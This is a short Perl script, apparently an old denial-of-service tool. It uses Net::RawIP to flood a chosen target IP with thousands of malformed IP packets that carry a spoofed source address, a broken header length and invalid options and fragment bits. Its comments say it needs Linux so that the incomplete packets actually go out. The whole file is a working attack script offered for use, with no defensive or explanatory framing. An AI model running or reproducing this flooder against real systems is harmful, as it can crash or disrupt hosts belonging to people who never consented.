#!/usr/bin/perl 

# This script will not works on *BSD because it does generate an incomplete ip
# packet.
# You have to use Linux which don't think that it is more clever than a
# programmer   

require 'getopts.pl';
use Net::RawIP;
Getopts('t:n:');
die "Usage $0 -t <ip of the target> -n <thousands of the times>" unless ($opt_t && $opt_n);

@data = split (//,"0"x20);
$p = new Net::RawIP({ 
                    ip => { 
		           ihl => 11,
			   tot_len => 44,
			   tos => 0,
			   ttl => 255,
			   id => 1999,
			   frag_off => 16383,
			   protocol => 17,
			   saddr => '1.1.1.1',
			   daddr => $opt_t
			  },
	            generic => {}		   
                    });
$p->optset(ip => { type => [@data] , data => [@data] });
$p->send(0,$opt_n*1000);
 		           